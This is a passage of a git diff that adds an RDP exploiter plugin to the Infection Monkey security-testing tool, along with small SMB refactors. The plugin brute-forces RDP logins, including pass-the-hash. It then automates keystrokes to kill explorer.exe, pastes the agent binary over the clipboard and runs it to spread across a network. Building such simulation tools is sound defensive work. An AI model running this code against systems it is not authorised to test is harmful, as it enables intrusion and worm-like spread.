"sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.16.0" + }, + "tqdm": { + "hashes": [ + "sha256:1871fb68a86b8fb3b59ca4cdd3dcccbc7e6d613eeed31f4c332531977b89beb5", + "sha256:c4f53a17fe37e132815abceec022631be8ffe1b9381c2e6e30aa70edc99e9671" + ], + "markers": "python_version >= '3.7'", + "version": "==4.65.0" + }, + "unicrypto": { + "hashes": [ + "sha256:77322c68cb6a7ef8ee762dcb0a824a491429f8939793e8a9d64f615baaf595b9" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.10" + } + }, + "develop": {} +} diff --git a/monkey/agent_plugins/exploiters/rdp/config-schema.json b/monkey/agent_plugins/exploiters/rdp/config-schema.json new file mode 100644 index 00000000000..f372684cac7 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/config-schema.json @@ -0,0 +1,39 @@ +{ + "properties": { + "agent_binary_upload_timeout": { + "title": "Agent binary upload timeout", + "description": "The timeout (in seconds) for uploading the Agent binary to the target machine.", + "type": "number", + "minimum": 0, + "default": 30.0, + "maximum": 100.0 + }, + "domains": { + "title": "Domains", + "description": "The Windows domains to try when logging in to the target machine.", + "type": "array", + "items": { + "type": "string" + }, + "default": [ + "WORKGROUP" + ] + }, + "login_timeout": { + "title": "Login timeout", + "description": "The maximum time (in seconds) to wait for the desktop to load after logging in.", + "type": "number", + "minimum": 0, + "default": 60.0, + "maximum": 100.0 + }, + "rdp_connect_timeout": { + "title": "RDP connection timeout", + "description": "The maximum time (in seconds) to wait for a response on an RDP connection.", + "type": "number", + "minimum": 0, + "default": 15.0, + "maximum": 100.0 + } + } +} diff --git a/monkey/agent_plugins/exploiters/rdp/manifest.yaml b/monkey/agent_plugins/exploiters/rdp/manifest.yaml new file mode 100644 index 00000000000..7f21b1fd164 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/manifest.yaml @@ -0,0 +1,16 @@ +name: RDP +plugin_type: Exploiter +supported_operating_systems: + - linux + - windows +target_operating_systems: + - windows +title: RDP Exploiter +version: 1.0.0 +description: Attempts a brute-force attack over RDP using known credentials. +safe: true +remediation_suggestion: >- + Change user passwords to complex passwords that are not shared with other computers on the network. + + An Infection Monkey Agent authenticated over RDP using stolen/configured credentials. +link_to_documentation: https://techdocs.akamai.com/infection-monkey/docs/rdp/ diff --git a/monkey/agent_plugins/exploiters/rdp/src/in_memory_file_provider.py b/monkey/agent_plugins/exploiters/rdp/src/in_memory_file_provider.py new file mode 100644 index 00000000000..4e18e7b4bb1 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/in_memory_file_provider.py @@ -0,0 +1,43 @@ +from typing import Dict, Optional + +from aardwolf.extensions.RDPECLIP.fileprovider import FileProvider +from egg_timer import EggTimer + + +class InMemoryFileProvider(FileProvider): + """ + Provides data from files stored in memory to the clipboard + """ + + def __init__( + self, + *, + files: Optional[Dict[str, bytes]] = None, + timer: Optional[EggTimer] = None, + timeout: float = 5, + ): + self._files: Dict[str, bytes] = {} if files is None else files + self._timer = EggTimer() if timer is None else timer + self._timeout = timeout + + def set_files(self, files: Dict[str, bytes]): + self._files.clear() + self._files.update(files) + + def get_file_data(self, name: str, start: int, count: int) -> bytes: + self._timer.set(timeout_sec=self._timeout) + return self._files[name][start : start + count] + + def is_download_active(self) -> int: + return not self._timer.is_expired() + + def get_file_size(self, name: str) -> int: + return len(self._files[name]) + + def __deepcopy__(self, _): + # Normally a deepcopy would create a deep copy of all members. However, we don't want to + # actually perform a deep copy here, since we want to share the _files dictionary between + # instances. This would allow us to create an instance of this class, pass it to the + # clipboard (which is itself deep copied), and have any changes made to our instance be + # reflected in the one held by the clipboard. + return InMemoryFileProvider(files=self._files, timer=self._timer, timeout=self._timeout) diff --git a/monkey/agent_plugins/exploiters/rdp/src/plugin.py b/monkey/agent_plugins/exploiters/rdp/src/plugin.py new file mode 100644 index 00000000000..75c0c6acbe9 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/plugin.py @@ -0,0 +1,123 @@ +import logging +from functools import partial +from pprint import pformat +from typing import Any, Dict, Sequence + +# common imports +from common import OperatingSystem +from common.agent_events import AgentEventTag +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, Event +from common.utils.code_utils import del_key +from common.utils.environment import get_os + +# dependencies to get rid of or internalize +from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider +from infection_monkey.exploit.tools import ( + BruteForceCredentialsProvider, + BruteForceExploiter, + all_tcp_ports_are_closed, +) +from infection_monkey.exploit.tools.helpers import get_agent_dst_path +from infection_monkey.i_puppet import ExploiterResult, TargetHost +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository + +from .rdp_command_builder import build_rdp_command +from .rdp_credentials_generator import generate_rdp_credentials +from .rdp_options import RDPOptions +from .rdp_remote_access_client import RDP_PORTS +from .rdp_remote_access_client_factory import RDPRemoteAccessClientFactory + +logger = logging.getLogger(__name__) + + +def should_attempt_exploit(host: TargetHost) -> bool: + return not all_tcp_ports_are_closed(host, RDP_PORTS) + + +class Plugin: + def __init__( + self, + *, + plugin_name: str, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + agent_binary_repository: IAgentBinaryRepository, + propagation_credentials_repository: IPropagationCredentialsRepository, + otp_provider: IAgentOTPProvider, + **kwargs, + ): + self._plugin_name = plugin_name + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + self._agent_binary_repository = agent_binary_repository + self._propagation_credentials_repository = propagation_credentials_repository + self._otp_provider = otp_provider + + def run( + self, + *, + host: TargetHost, + servers: Sequence[str], + current_depth: int, + options: Dict[str, Any], + interrupt: Event, + **kwargs, + ) -> ExploiterResult: + # HTTP ports options are hack because they are needed in fingerprinters + del_key(options, "http_ports") + + try: + logger.debug(f"Parsing options: {pformat(options)}") + rdp_options = RDPOptions(**options) + except Exception as err: + msg = f"Failed to parse RDP options: {err}" + logger.exception(msg) + return ExploiterResult(error_message=msg) + + if not should_attempt_exploit(host): + msg = f"Host {host.ip} has no open RDP ports" + logger.debug(msg) + return ExploiterResult( + exploitation_success=False, propagation_success=False, error_message=msg + ) + + rdp_command_builder = partial( + build_rdp_command, + agent_id=self._agent_id, + servers=servers, + current_depth=current_depth, + otp_provider=self._otp_provider, + ) + rdp_remote_access_client_factory = RDPRemoteAccessClientFactory( + host, + rdp_options, + rdp_command_builder, + ) + running_from_windows = get_os() == OperatingSystem.WINDOWS + credentials_generator = partial( + generate_rdp_credentials, + domains=rdp_options.domains, + running_from_windows=running_from_windows, + ) + credentials_provider = BruteForceCredentialsProvider( + self._propagation_credentials_repository, credentials_generator + ) + brute_force_exploiter = BruteForceExploiter( + self._plugin_name, + self._agent_id, + get_agent_dst_path(host), + rdp_remote_access_client_factory, + credentials_provider, + self._agent_binary_repository, + self._agent_event_publisher, + {AgentEventTag("rdp-exploiter")}, + ) + + try: + logger.debug(f"Running RDP exploiter on host {host.ip}") + return brute_force_exploiter.exploit_host(host, interrupt) + except Exception as err: + msg = f"An unexpected exception occurred while attempting to exploit host: {err}" + logger.exception(msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/rdp/src/rdp_client.py b/monkey/agent_plugins/exploiters/rdp/src/rdp_client.py new file mode 100644 index 00000000000..086ee335380 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/rdp_client.py @@ -0,0 +1,397 @@ +import asyncio +import logging +from pathlib import PurePath, PureWindowsPath +from typing import List + +from aardwolf import logger as aardwolf_logger +from aardwolf.commons.factory import RDPConnectionFactory +from aardwolf.commons.iosettings import RDPIOSettings +from aardwolf.commons.queuedata.constants import VIDEO_FORMAT +from aardwolf.connection import RDPConnection +from aardwolf.extensions.RDPECLIP.clipboard import Clipboard +from aardwolf.keyboard import VK_MODIFIERS +from aardwolf.keyboard.layoutmanager import KeyboardLayoutManager +from asyauth.common.constants import asyauthProtocol, asyauthSecret +from egg_timer import EggTimer + +from common.credentials import Credentials, NTHash, Password, Username, get_plaintext +from common.types import NetworkPort +from infection_monkey.i_puppet import TargetHost + +from .in_memory_file_provider import InMemoryFileProvider + +logger = logging.getLogger(__name__) +aardwolf_logger.setLevel(logging.DEBUG) +RDP_HANDSHAKE = "S3Cr3TtH1Ng" +RESTART_FILE_EXPLORER_CMD = "cmd.exe /c taskkill /f /IM explorer.exe & start explorer.exe" +VK_RETURN = "VK_RETURN" + + +class RDPClient: + def __init__(self): + self._connection: RDPConnection = None + self._authenticated = False + self._kb_layout = KeyboardLayoutManager().get_layout_by_shortname("enus") + self._file_provider = InMemoryFileProvider() + self._event_loop = asyncio.SelectorEventLoop() + self._save_screenshots = False + asyncio.set_event_loop(self._event_loop) + + def connect( + self, host: TargetHost, credentials: Credentials, port: NetworkPort, timeout: float + ): + _connect_task = self._event_loop.create_task( + self._connect_with_timeout(host, credentials, port, timeout) + ) + self._event_loop.run_until_complete(_connect_task) + + async def _connect_with_timeout( + self, host: TargetHost, credentials: Credentials, port: NetworkPort, timeout: float + ): + try: + await asyncio.wait_for(self._connect(host, credentials, port), timeout=timeout) + except asyncio.TimeoutError: + logger.debug(f"Failed to connect via RDP after {timeout} seconds") + raise + + async def _connect(self, host: TargetHost, credentials: Credentials, port: NetworkPort): + username = self._get_username(credentials) + self._connection = self._create_rdp_connection(host, username) + # Some chars are not supported in the URL, so we reset the password/nt_hash here + self._connection.credentials.secret = self._get_secret(credentials) + if isinstance(credentials.secret, NTHash): + self._connection.credentials.protocol = asyauthProtocol.NTLM + self._connection.credentials.stype = asyauthSecret.NT + + logger.debug(f"Connecting with user: {username}") + _, err = await self._connection.connect() + if err is not None: + logger.exception(f"Error connecting via RDP: {err}") + raise err + + logger.debug("RDP connection established") + self._authenticated = True + + def _get_username(self, credentials: Credentials) -> str: + if not isinstance(credentials.identity, Username): + message = f"Unrecognized credential identity type: {credentials.identity}" + logger.debug(message) + raise ValueError(message) + + return credentials.identity.username + + def _get_secret(self, credentials: Credentials): + if isinstance(credentials.secret, NTHash): + return get_plaintext(credentials.secret.nt_hash) + elif isinstance(credentials.secret, Password): + return get_plaintext(credentials.secret.password) + else: + message = f"Unrecognized credential secret type: {credentials.secret}" + logger.debug(message) + raise ValueError(message) + + def _create_rdp_connection(self, host: TargetHost, username: str) -> RDPConnection: + clipboard = Clipboard(file_provider=self._file_provider) + target_settings = RDPClient._setup_iosettings(clipboard) + url = f"rdp+ntlm-password://{username}:pass@{str(host.ip)}" + connection_factory = RDPConnectionFactory.from_url(url, target_settings) + + return connection_factory.create_connection_newtarget(str(host.ip), target_settings) + + def copy_file( + self, + file: bytes, + dest: PurePath, + login_timeout: float, + file_upload_timeout: float, + ): + try: + _wait_for_screen_task = self._event_loop.create_task( + self._wait_for_screen_to_load(login_timeout) + ) + self._event_loop.run_until_complete(_wait_for_screen_task) + is_screen_up = _wait_for_screen_task.result() + + if not is_screen_up: + raise Exception(f"Desktop screen did not load in {login_timeout} seconds") + + _copy_file_task = self._event_loop.create_task( + self._copy_file(file, dest, file_upload_timeout) + ) + self._event_loop.run_until_complete(_copy_file_task) + except asyncio.TimeoutError: + logger.error(f"Failed to copy file to victim after {file_upload_timeout} seconds") + raise + + async def _wait_for_screen_to_load(self, timeout: float): + # On a fresh login, the screen may not be up yet. Wait for the desktop to load + logger.debug("Waiting for the screen to load") + if not await self._wait_for_machine_screen(timeout): + return False + + # It is possible that a modal dialog, such as the permission prompt, is open. + # In order to get rid of a modal dialog, we restart the file explorer + logger.debug("Restarting file explorer") + await self._remote_restart_file_explorer() + + # Restarting the file explorer may take extra time on startup, so we must again wait for + # the screen to load + return await self._wait_for_machine_screen(timeout) + + async def _copy_file(self, file: bytes, dest: PurePath, timeout: float): + logger.debug(f"Opening a file explorer window with destination path: {dest}") + await self._remote_open_folder(dest.parent) + + # If we don't have permission to access the folder, we will get a prompt + # Press "Enter" to move past the prompt + await self._send_vk_keypress(VK_RETURN) + + self._take_screenshot("05_before_copy.png") + await self._copy_file_to_clipboard(dest.name, file) + + logger.debug( + "Pasting the file from the clipboard to file explorer window with " + f"destination path: {dest}" + ) + await self._remote_paste_file(timeout) + self._take_screenshot("06_after_paste.png") + + if not await self._remote_file_exists(dest): + raise Exception(f"Failed to copy file to {dest}") + + async def _wait_for_machine_screen(self, timeout: float) -> bool: + timer = EggTimer() + timer.set(timeout) + while not timer.is_expired(): + await asyncio.sleep(1) + + await self._open_windows_run_dialog() + await self._send_keys(RDP_HANDSHAKE) + await self._copy_selected_text_to_clipboard() + remote_clipboard = await self._connection.get_current_clipboard_text() + await self._synchronize_clipboard() + if remote_clipboard == RDP_HANDSHAKE: + return True + self._take_screenshot("01_screen_timeout.png") + + return False + + async def _synchronize_clipboard(self): + # Yield time for the clipboard to sync + # Because the clipboard channel is async, we need to suspend our work to allow it to sync + await asyncio.sleep(0.5) + + async def _remote_restart_file_explorer(self): + await self._connection.set_current_clipboard_text(RESTART_FILE_EXPLORER_CMD) + await self._synchronize_clipboard() + await self._open_windows_run_dialog() + await self._remote_paste() + self._take_screenshot("02_restart_file_explorer.png") + await self._send_vk_keypress(VK_RETURN) + await asyncio.sleep(1) # Wait for file explorer to reload + + def _take_screenshot(self, filename): + if self._save_screenshots and self._connection.desktop_buffer_has_data: + buffer = self._connection.get_desktop_buffer(VIDEO_FORMAT.PIL) + buffer.save(filename) + + async def _remote_open_folder(self, path: PurePath): + path_str = str(PureWindowsPath(path)) + await self._open_windows_run_dialog() + await self._send_keys(path_str) + self._take_screenshot("03_open_folder.png") + await self._send_vk_keypress(VK_RETURN) + # Wait for window to appear + await asyncio.sleep(5) + + logger.debug(f"Opened file explorer window to: {path_str}") + self._take_screenshot("04_folder_opened.png") + + async def _remote_file_exists(self, path: PurePath) -> bool: + path_str = str(PureWindowsPath(path)) + verification_command = f'cmd /c dir "{path_str}" && echo true | clip || echo false | clip' + await self._open_windows_run_dialog() + await self._connection.set_current_clipboard_text(verification_command) + await self._synchronize_clipboard() + self._take_screenshot("07_file_exists.png") + await self._remote_paste() + await self._send_vk_keypress(VK_RETURN) + result = await self._connection.get_current_clipboard_text() + + async with asyncio.timeout(5): + while result == verification_command: + await asyncio.sleep(0.5) + result = await self._connection.get_current_clipboard_text() + + if result.strip() == "true": + return True + + return False + + async def _copy_file_to_clipboard(self, filename: str, file: bytes): + self._file_provider.set_files({filename: file}) + await self._connection.set_current_clipboard_files([filename]) + await self._synchronize_clipboard() + logger.debug(f"File '{filename}' copied to clipboard") + + async def _remote_paste_file(self, timeout: float): + async with asyncio.timeout(timeout): + await self._remote_paste() + while not self._file_provider.is_download_active(): + await self._remote_paste() + while self._file_provider.is_download_active(): + await asyncio.sleep(1) + + async def _remote_paste(self): + # Send Ctrl+V + scancode, _ = self._kb_layout.char_to_scancode("v") + modifier_scancode = self._kb_layout.vk_to_scancode("VK_LCONTROL") + await self._send_keypress([modifier_scancode, scancode]) + await self._synchronize_clipboard() + + async def _copy_selected_text_to_clipboard(self): + # Send Ctrl+A, Ctrl+C + scancode, _ = self._kb_layout.char_to_scancode("a") + modifier_scancode = self._kb_layout.vk_to_scancode("VK_LCONTROL") + await self._send_keypress([modifier_scancode, scancode]) + + scancode, _ = self._kb_layout.char_to_scancode("c") + modifier_scancode = self._kb_layout.vk_to_scancode("VK_LCONTROL") + await self._send_keypress([modifier_scancode, scancode]) + await self._synchronize_clipboard() + + @staticmethod + def _setup_iosettings(clipboard: Clipboard) -> RDPIOSettings: + target_settings = RDPIOSettings() + target_settings.video_width = 1024 + target_settings.video_height = 768 + target_settings.video_bpp_max = 32 + target_settings.video_out_format = VIDEO_FORMAT.PIL + target_settings.clipboard_use_pyperclip = False + target_settings.clipboard = clipboard + + return target_settings + + def connected(self) -> bool: + return self._authenticated + + def execute_command(self, command: str): + try: + _execute_task = self._event_loop.create_task(self._execute_and_verify_command(command)) + self._event_loop.run_until_complete(_execute_task) + except Exception as err: + logger.exception(f"Something happened while executing command: {err}") + raise err + + async def _execute_and_verify_command(self, command: str): + verifiable_command = f"{command} && echo true | clip || echo false | clip" + await self._open_windows_run_dialog() + await self._execute_command_in_shell(verifiable_command) + result = await self._connection.get_current_clipboard_text() + + async with asyncio.timeout(10): + while result == verifiable_command: + await asyncio.sleep(0.5) + result = await self._connection.get_current_clipboard_text() + + if result.strip() == "true": + logger.debug("Command succeeded") + elif result.strip() == "false": + raise Exception("Command failed to run") + else: + raise Exception(f"Command returned unexpected result: '{result}'") + + async def _execute_command(self, command: str): + await self._connection.set_current_clipboard_text(command) + await self._synchronize_clipboard() + await self._remote_paste() + await self._send_vk_keypress(VK_RETURN) + + async def _execute_command_in_shell(self, command: str): + logger.debug("Executing command in shell...") + + await self._execute_command("cmd.exe") + await asyncio.sleep(1) + + await self._connection.set_current_clipboard_text(command) + await self._synchronize_clipboard() + + # Because Copy/Paste using keyboard shortcuts is disabled by default in some + # versions of Windows, we use ALT+SPACE,EP which uses the Explorer Window menu + # to paste the command to Command Prompt + alt = self._kb_layout.vk_to_scancode("VK_LMENU") + space = self._kb_layout.vk_to_scancode("VK_SPACE") + await self._send_keypress([alt, space]) + await asyncio.sleep(0.5) + await self._send_keys("ep") + + self._take_screenshot("08_command_pasted.png") + + await self._send_vk_keypress(VK_RETURN) + + async def _open_windows_run_dialog(self): + # Open run dialog + scancode, _ = self._kb_layout.char_to_scancode("r") + modifier_scancode = self._kb_layout.vk_to_scancode("VK_LWIN") + await self._send_keypress([modifier_scancode, scancode]) + await asyncio.sleep(0.5) + + async def _send_keypress(self, scancodes: List[int]): + if len(scancodes) == 0: + return + + scancode = scancodes[0] + await self._connection.send_key_scancode( + scancode, + is_pressed=True, + is_extended=False, + ) + await self._send_keypress(scancodes[1:]) + await self._connection.send_key_scancode( + scancode, + is_pressed=False, + is_extended=False, + ) + + async def _send_vk_keypress(self, virtual_key: str): + scancode = self._kb_layout.vk_to_scancode(virtual_key) + await self._send_keypress([scancode]) + await asyncio.sleep(0.1) + + async def _send_keys(self, string: str): + # Type the string + for char in string: + if char not in self._kb_layout.char_to_sc: + logger.warning(f"Character '{char}' not found in layout {self._kb_layout.name}") + continue + + scancode, modifiers = self._kb_layout.char_to_scancode(char) + if modifiers == VK_MODIFIERS.VK_SHIFT or char.isupper(): + modifier_scancode = self._kb_layout.vk_to_scancode("VK_LSHIFT") + await self._send_keypress([modifier_scancode, scancode]) + else: + await self._send_keypress([scancode]) + + await asyncio.sleep(0.2) + + def __del__(self): + if self._connection is not None and not self._event_loop.is_closed(): + try: + logger.debug("Terminating RDP connection") + self._event_loop.run_until_complete(self._connection.terminate()) + except Exception: + logger.debug("Failed to terminate RDP connection!") + else: + logger.debug("RDP connection already terminated") + + logger.debug("Canceling async event loop tasks") + pending = asyncio.all_tasks(self._event_loop) + for task in pending: + task.cancel() + + logger.debug("Stopping async event loop") + + # Run loop until tasks done: + self._event_loop.run_until_complete(asyncio.gather(*pending)) + + logger.debug("Cleanup successful") diff --git a/monkey/agent_plugins/exploiters/rdp/src/rdp_command_builder.py b/monkey/agent_plugins/exploiters/rdp/src/rdp_command_builder.py new file mode 100644 index 00000000000..c784e846583 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/rdp_command_builder.py @@ -0,0 +1,31 @@ +from pathlib import PurePath +from typing import Sequence + +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from common.types import AgentID +from infection_monkey.exploit import IAgentOTPProvider +from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, RUN_MONKEY, SET_OTP_WINDOWS +from infection_monkey.utils.commands import build_monkey_commandline + + +def build_rdp_command( + agent_id: AgentID, + servers: Sequence[str], + current_depth: int, + remote_agent_binary_destination_path: PurePath, + otp_provider: IAgentOTPProvider, +): + set_agent_otp_command = SET_OTP_WINDOWS % { + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": otp_provider.get_otp(), + } + + monkey_params = build_monkey_commandline( + agent_id, servers, current_depth + 1, remote_agent_binary_destination_path + ) + monkey_execution_command = RUN_MONKEY % { + "monkey_path": remote_agent_binary_destination_path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } + return f"{set_agent_otp_command} {monkey_execution_command}" diff --git a/monkey/agent_plugins/exploiters/rdp/src/rdp_credentials_generator.py b/monkey/agent_plugins/exploiters/rdp/src/rdp_credentials_generator.py new file mode 100644 index 00000000000..d2921cc6231 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/rdp_credentials_generator.py @@ -0,0 +1,65 @@ +from typing import Iterable, Sequence, Set + +from common.credentials import Credentials, LMHash, NTHash, Password, Username +from infection_monkey.exploit.tools import ( + generate_brute_force_credentials, + identity_type_filter, + secret_type_filter, +) + + +def generate_rdp_credentials( + credentials: Sequence[Credentials], domains: Sequence[str], running_from_windows: bool +) -> Sequence[Credentials]: + brute_force_credentials = generate_brute_force_credentials( + credentials, + identity_filter=identity_type_filter([Username]), + secret_filter=secret_type_filter([Password, LMHash, NTHash]), + ) + rdp_credentials = list( + _add_domains_to_usernames(brute_force_credentials, domains, running_from_windows) + ) + + return _remove_duplicate_credentials(rdp_credentials) + + +def _add_domains_to_usernames( + credentials: Sequence[Credentials], domains: Sequence[str], running_from_windows: bool +) -> Iterable[Credentials]: + local_domains = _get_local_domains(running_from_windows) + all_domains = [*domains, *local_domains] + + for credential in credentials: + if credential.identity is None: + continue + + if "\\" in credential.identity.username: + yield credential + + for domain in all_domains: + yield Credentials( + identity=Username(username=f"{domain}\\{credential.identity.username}"), + secret=credential.secret, + ) + + +def _get_local_domains(running_from_windows: bool) -> Set[str]: + local_domains = set() + if running_from_windows: + local_domains.add(".") + local_domains.add(_get_local_machine_domain()) + + return local_domains + + +def _get_local_machine_domain() -> str: + import win32api + + return win32api.GetUserNameEx(win32api.NameSamCompatible).split("\\")[0] + + +def _remove_duplicate_credentials(credentials: Sequence[Credentials]) -> Sequence[Credentials]: + # Using a dict, not a set, to preserve order + credentials_dict = dict.fromkeys(credentials, None) + + return list(credentials_dict.keys()) diff --git a/monkey/agent_plugins/exploiters/rdp/src/rdp_options.py b/monkey/agent_plugins/exploiters/rdp/src/rdp_options.py new file mode 100644 index 00000000000..e0bffc44009 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/rdp_options.py @@ -0,0 +1,35 @@ +from typing import FrozenSet + +from pydantic import Field + +from common.base_models import InfectionMonkeyBaseModel + + +class RDPOptions(InfectionMonkeyBaseModel): + agent_binary_upload_timeout: float = Field( + default=30.0, + gt=0.0, + le=100.0, + description=( + "The timeout (in seconds) for uploading the Agent binary to the target machine." + ), + ) + domains: FrozenSet[str] = Field( + default=frozenset(("WORKGROUP",)), + frozen=True, + description="The Windows domains to try when logging in to the target machine.", + ) + login_timeout: float = Field( + default=60.0, + gt=0.0, + le=100.0, + description=( + "The maximum time (in seconds) to wait for the desktop to load after logging in." + ), + ) + rdp_connect_timeout: float = Field( + default=15.0, + gt=0.0, + le=100.0, + description="The maximum time (in seconds) to wait for a response on an RDP connection.", + ) diff --git a/monkey/agent_plugins/exploiters/rdp/src/rdp_remote_access_client.py b/monkey/agent_plugins/exploiters/rdp/src/rdp_remote_access_client.py new file mode 100644 index 00000000000..90e1cd54a26 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/rdp_remote_access_client.py @@ -0,0 +1,106 @@ +import logging +from pathlib import PurePath +from typing import Callable, Collection, Set, Type + +from common import OperatingSystem +from common.agent_events import AgentEventTag +from common.credentials import Credentials, NTHash +from common.tags import ( + ALTERNATE_AUTHENTICATION_MATERIAL_T1550_TAG, + BRUTE_FORCE_T1110_TAG, + INGRESS_TOOL_TRANSFER_T1105_TAG, + REMOTE_SERVICES_T1021_TAG, +) +from common.types import NetworkPort +from infection_monkey.exploit.tools import ( + IRemoteAccessClient, + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) +from infection_monkey.i_puppet import TargetHost + +from .rdp_client import RDPClient +from .rdp_options import RDPOptions + +logger = logging.getLogger(__name__) + + +LOGIN_TAGS = { + REMOTE_SERVICES_T1021_TAG, + BRUTE_FORCE_T1110_TAG, +} +COPY_FILE_TAGS = { + REMOTE_SERVICES_T1021_TAG, + INGRESS_TOOL_TRANSFER_T1105_TAG, +} +EXECUTION_TAGS = { + REMOTE_SERVICES_T1021_TAG, +} + +RDP_PORTS = [NetworkPort(3389)] + + +class RDPRemoteAccessClient(IRemoteAccessClient): + def __init__( + self, + host: TargetHost, + options: RDPOptions, + command_builder: Callable[[PurePath], str], + rdp_client: RDPClient, + ): + self._host = host + self._options = options + self._build_command = command_builder + self._client = rdp_client + + def login(self, credentials: Credentials, tags: Set[AgentEventTag]): + tags.update(LOGIN_TAGS) + try: + if isinstance(credentials.secret, NTHash): + tags.update({ALTERNATE_AUTHENTICATION_MATERIAL_T1550_TAG}) + + self._client.connect( + self._host, credentials, RDP_PORTS[0], self._options.rdp_connect_timeout + ) + except Exception as err: + raise RemoteAuthenticationError("Failed to login to RDP server") from err + + def _raise_if_not_authenticated(self, error_type: Type[Exception]): + if not self._client.connected(): + raise error_type( + "This operation cannot be performed until authentication is successful" + ) + + def get_os(self) -> OperatingSystem: + return OperatingSystem.WINDOWS + + def execute_agent(self, agent_binary_path: PurePath, tags: Set[AgentEventTag]): + self._raise_if_not_authenticated(RemoteCommandExecutionError) + tags.update(EXECUTION_TAGS) + try: + command = self._build_command(remote_agent_binary_destination_path=agent_binary_path) + self._client.execute_command(command) + except Exception as err: + raise RemoteCommandExecutionError("Failed to execute agent") from err + + def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[AgentEventTag]): + self._raise_if_not_authenticated(RemoteFileCopyError) + + logger.debug( + f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" + ) + + tags.update(COPY_FILE_TAGS) + try: + self._client.copy_file( + file, + destination_path, + self._options.login_timeout, + self._options.agent_binary_upload_timeout, + ) + except Exception as err: + raise RemoteFileCopyError("Failed to copy file to RDP server") from err + + def get_writable_paths(self) -> Collection[PurePath]: + return [] diff --git a/monkey/agent_plugins/exploiters/rdp/src/rdp_remote_access_client_factory.py b/monkey/agent_plugins/exploiters/rdp/src/rdp_remote_access_client_factory.py new file mode 100644 index 00000000000..68427bc9bd2 --- /dev/null +++ b/monkey/agent_plugins/exploiters/rdp/src/rdp_remote_access_client_factory.py @@ -0,0 +1,24 @@ +from pathlib import PurePath +from typing import Any, Callable + +from infection_monkey.exploit.tools import IRemoteAccessClientFactory +from infection_monkey.i_puppet import TargetHost + +from .rdp_client import RDPClient +from .rdp_options import RDPOptions +from .rdp_remote_access_client import RDPRemoteAccessClient + + +class RDPRemoteAccessClientFactory(IRemoteAccessClientFactory): + def __init__( + self, + host: TargetHost, + options: RDPOptions, + command_builder: Callable[[PurePath], str], + ): + self._host = host + self._options = options + self._command_builder = command_builder + + def create(self, **kwargs: Any) -> RDPRemoteAccessClient: + return RDPRemoteAccessClient(self._host, self._options, self._command_builder, RDPClient()) diff --git a/monkey/agent_plugins/exploiters/smb/manifest.yaml b/monkey/agent_plugins/exploiters/smb/manifest.yaml index 25f3dfe8547..651534f2c4b 100644 --- a/monkey/agent_plugins/exploiters/smb/manifest.yaml +++ b/monkey/agent_plugins/exploiters/smb/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - windows title: SMB Exploiter -version: 1.0.1 +version: 1.1.0 description: Attempts a brute-force attack against SMB using known credentials. safe: true remediation_suggestion: >- diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 552f87dc546..58a951d97a4 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -20,7 +20,7 @@ secret_type_filter, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from .smb_command_builder import build_smb_command @@ -70,7 +70,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: + ) -> ExploiterResult: # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") @@ -80,12 +80,12 @@ def run( except Exception as err: msg = f"Failed to parse SMB options: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) if not should_attempt_exploit(host): msg = f"Host {host.ip} has no open SMB ports" logger.debug(msg) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) @@ -118,4 +118,4 @@ def run( except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 8077d243e1f..eddfbdd2e74 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -6,7 +6,7 @@ from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.smbconnection import SMB_DIALECT, SessionError, SMBConnection +from impacket.smbconnection import SessionError, SMBConnection from common.credentials import Credentials, LMHash, NTHash, Password from common.types import NetworkPort @@ -69,7 +69,8 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: if self._logout_guest(): raise Exception("Logged in as guest") - 